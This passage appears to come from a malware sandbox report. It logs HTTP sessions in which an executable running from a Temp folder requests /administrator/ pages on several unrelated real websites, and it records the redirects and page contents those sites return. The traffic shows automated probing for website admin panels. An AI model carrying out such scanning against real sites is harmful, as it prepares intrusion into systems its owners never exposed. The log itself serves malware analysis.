Dec 20, 2023 03:13:20.026309013 CET	951	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://ornos.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_aYSKNSMSKGY12XtOLHlfipavJXgUyMEN5BBjquCZlMft/JZb1R5RfApazbWxohRJGRGSR3097rbBjYFlIg8Y0w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.269407034 CET	380	OUT	GET /administrator/index.php HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://ornos.com/administrator/
Dec 20, 2023 03:13:22.420850992 CET	960	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://ornos.com/administrator/index.php X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_NXHCOgai0GJFZHzGElK51BT7SGN8pQ/wZegFGy9ulITC2NEg3OWPu16Ir9JV6PuHSQ2XdIB/mydrtQCNWQ5aFQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	51296	205.178.187.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.878138065 CET	178	OUT	GET /administrator/ HTTP/1.1 Host: tiltdesign.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.016423941 CET	172	IN	HTTP/1.0 301 Moved Permanently Location: http://www.registrar-transfers.com/en_US/whois-suspension-netsol.jsp Server: BigIP Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	51297	69.20.103.147	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.890595913 CET	175	OUT	GET /administrator/ HTTP/1.1 Host: copyset.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.064357996 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:14 GMT Connection: close Content-Length: 53062 Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 65 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 34 30 34 3b 68 74 74 70 3a 2f 2f 63 6f 70 79 73 65 74 2e 63 6f 6d 3a 38 30 38 30 2f 69 6e 64 65 78 2e 69 6d 6c 3f 50 41 54 48 5f 31 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 46 55 4c 4c 5f 50 41 54 48 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 3a 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 70 79 73 65 74 2e 63 6f 6d 2f 22 20 3e 0d 0a 20 20 0d 0a 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 34 2e 33 2e 30 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 3f 76 3d 33 2e 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 70 72 69 6e 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 30 31 31 2f 63 6f 6d 6d 6f 6e 5f 70 72 69 6e 74 2e 63 73 73 3f 76 3d 32 2e 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 64 6f 63 6b 2e 63 73 73 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 Data Ascii: <!DOCTYPE html>...[if lt IE 7 ]> <html class="no-js ie6" lang="en"> <![endif]-->...[if IE 7 ]> <html class="no-js ie7" lang="en"> <![endif]-->...[if IE 8 ]> <html class="no-js ie8" lang="en"> <![endif]-->...[if (gte IE 9)\|!(IE)]><html class="no-js" lang="en"> <![endif]-->... 404;http://copyset.com:8080/index.iml?PATH_1=administrator&FULL_PATH=administrator:administrator --> <head> <base href="http://www.copyset.com/" > <meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="shortcut icon" href="/favicon.ico"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="https://secureprintorder.world-cdnserv.com/common.css?v=3.1"> <link rel="stylesheet" media="print" href="https://secureprintorder.world-cdnserv.com/system/2011/common_print.css?v=2.1"> <link rel="stylesheet" type="text/css" href="https://secureprintorder.world-cdnserv.com/dock.css"> <link rel="style
Dec 20, 2023 03:13:21.064372063 CET	1286	IN	Data Raw: 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 30 31 Data Ascii: sheet" type="text/css" href="https://secureprintorder.world-cdnserv.com/system/2011/css/boxy.andy.css"> <link rel="stylesheet" href="//ajax.googleapis.com/ajax/libs/jqueryui/1.8.7/themes/smoothness/jquery-ui.css"> <link rel="stylesheet"
Dec 20, 2023 03:13:21.064428091 CET	1286	IN	Data Raw: 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 30 31 31 2f 6a 73 2f 6a 71 75 65 72 79 2e 70 72 65 74 74 79 50 68 6f 74 6f 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 Data Ascii: rld-cdnserv.com/system/2011/js/jquery.prettyPhoto.js"></script><script type="text/javascript" src="https://secureprintorder.world-cdnserv.com/system/2011/js/libs/Markup.js/src/markup.min.js"></script><script type="text/javascript" src="htt
Dec 20, 2023 03:13:21.064440012 CET	1286	IN	Data Raw: 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 66 6c 6f 61 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 Data Ascii: er.world-cdnserv.com/float.js"></script><script type="text/javascript" src="https://secureprintorder.world-cdnserv.com/HTMLParse.js"></script><script type="text/javascript" src="https://secureprintorder.world-cdnserv.com/scroll_tools.js?v=
Dec 20, 2023 03:13:21.217926025 CET	1286	IN	Data Raw: 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 3b 0d 0a 09 50 52 45 46 53 2e 57 49 4e 44 4f 57 5f 4f 52 49 47 49 4e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 Data Ascii: location.protocol+"//"+window.location.host;PREFS.WINDOW_ORIGIN = window.location.origin;if (PREFS.WINDOW_ORIGIN.indexOf('secured-site6.com') > 0 && PREFS.WINDOW_ORIGIN.indexOf('printcenter') == -1 ) PREFS.WINDOW_ORIGIN = PREFS.WINDOW_OR
Dec 20, 2023 03:13:21.217940092 CET	1286	IN	Data Raw: 6d 20 65 6e 76 65 6c 6f 70 65 73 29 2c 20 70 72 6f 6d 6f 74 69 6f 6e 61 6c 20 70 72 69 6e 74 73 20 28 66 6c 69 65 72 73 2c 20 62 72 6f 63 68 75 72 65 73 29 2c 20 6c 61 72 67 65 20 66 6f 72 6d 61 74 20 70 72 69 6e 74 73 20 28 73 69 67 6e 73 2c 20 Data Ascii: m envelopes), promotional prints (fliers, brochures), large format prints (signs, banners, canvas prints), design and mailing services."><meta name="description" content="CopySetPrinting is a printing and copying firm servicing Des Plaines,
Dec 20, 2023 03:13:21.217953920 CET	1286	IN	Data Raw: 20 63 61 72 64 20 70 72 69 6e 74 69 6e 67 2c 20 70 6f 73 74 65 72 20 70 72 69 6e 74 69 6e 67 2c 20 6d 61 69 6c 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 73 69 67 6e 20 70 72 69 6e 74 69 6e 67 2c 20 70 72 69 6e 74 69 6e 67 20 36 30 30 31 38 2c 20 Data Ascii: card printing, poster printing, mailing services, sign printing, printing 60018, printing 60007, printing Elk Grove Village, printing near O'hare, O'hare Airport Printing, O'hare airport, Posters, Banners, Vinyl Banners, Vinyl banners o'hare
Dec 20, 2023 03:13:21.218003035 CET	1286	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 30 31 31 2f 63 73 73 2f 73 69 74 65 5f 66 6f 6f 74 65 72 2e 63 73 73 3f 76 3d 33 2e 37 Data Ascii: ="https://secureprintorder.world-cdnserv.com/system/2011/css/site_footer.css?v=3.7" type="text/css" media="screen,print" /> <link rel="stylesheet" href="https://secureprintorder.world-cdnser
Dec 20, 2023 03:13:21.218070984 CET	1286	IN	Data Raw: 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 38 57 5a 42 32 4e 51 44 32 59 22 3e 3c 2f 73 63 72 69 Data Ascii: script async src="https://www.googletagmanager.com/gtag/js?id=G-8WZB2NQD2Y"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-8WZB
Dec 20, 2023 03:13:21.218096972 CET	1286	IN	Data Raw: 61 74 61 29 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 28 72 65 43 41 50 54 43 48 41 5f 72 65 66 72 65 73 68 5f 74 69 6d 65 6f 75 74 29 20 77 69 6e 64 6f 77 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 72 65 43 41 50 54 43 48 41 5f 72 65 66 72 65 Data Ascii: ata){ if(reCAPTCHA_refresh_timeout) window.clearTimeout(reCAPTCHA_refresh_timeout); reCAPTCHA_refresh_timeout=window.setTimeout('update_reCAPTCHA_TOKEN()',1000); }); try { update_reCAPTCHA_TOK
Dec 20, 2023 03:13:21.218144894 CET	1286	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 43 75 73 74 6f 6d 20 73 74 79 6c 65 73 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 Data Ascii: --> ... Custom styles--> <link href="https://secureprintorder.world-cdnserv.com/designPrint_R/css/owl.carousel.css?v=1" rel="stylesheet"> <link href="https://secureprintorder.world-cdnserv.com/designPrint_R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	51294	108.163.227.170	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.894387960 CET	182	OUT	GET /administrator/ HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.053472996 CET	455	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:19 GMT Server: Apache Location: https://activegraphics.com/administrator/ Content-Length: 249 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://activegraphics.com/administrator/">here</a>.</p></body></html>
Dec 20, 2023 03:13:22.702914000 CET	243	OUT	GET /administrator/index.php HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://activegraphics.com/administrator/
Dec 20, 2023 03:13:22.861346006 CET	473	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache Location: https://activegraphics.com/administrator/index.php Content-Length: 258 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 74 69 76 65 67 72 61 70 68 69 63 73 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://activegraphics.com/administrator/index.php">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	51130	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.909944057 CET	180	OUT	GET /administrator/ HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.064016104 CET	958	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://mobiamericas.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_DJuFRgsqzp7u42PHYt31SGm4zfNn+8trVMLwKUIvriVhH1OtsUWa6Tel29OmfAD4fixNrRUvMdE0zTWRccMJBA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:20.269303083 CET	958	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://mobiamericas.com/administrator/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_DJuFRgsqzp7u42PHYt31SGm4zfNn+8trVMLwKUIvriVhH1OtsUWa6Tel29OmfAD4fixNrRUvMdE0zTWRccMJBA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.716238022 CET	394	OUT	GET /administrator/index.php HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://mobiamericas.com/administrator/
Dec 20, 2023 03:13:22.871866941 CET	967	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://mobiamericas.com/administrator/index.php X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_hFKqrz4pFWzrczoUHFobdeJ1dWuJPKku3CigifmMT4GPEeMwS0pk9P3dgbgi0KBLtuetHqIguqZDpPJopOiQ8w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	51133	198.49.23.144	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:19.910243034 CET	175	OUT	GET /administrator/ HTTP/1.1 Host: rosetre.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
